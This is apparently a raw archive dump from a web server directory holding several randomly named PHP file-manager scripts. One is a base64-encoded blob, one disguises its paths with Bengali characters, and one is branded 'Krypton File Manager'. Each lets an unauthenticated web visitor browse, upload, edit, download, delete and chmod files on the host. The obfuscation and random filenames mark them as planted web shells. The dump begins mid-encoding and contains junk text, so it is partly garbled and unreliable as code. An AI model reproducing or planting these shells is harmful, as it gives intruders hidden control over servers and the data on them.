ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8 L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8 L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0 aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+ CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+ PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2 YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0 Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0 eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0 aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8 b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0 IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7 Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0 PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7 Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09 IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4 MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK fQo/Pg=="));?>z86uk.php000064400000026255151547731650006274 0ustar00]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;' = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> 9gvid.php000064400000122157151547731720006323 0ustar00 SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> Krypton File Manager

Upload Files

Files

Filename Size Permissions Last Modified Actions
..
- - - -
Krypton File Manager v | Single-file PHP File Manager
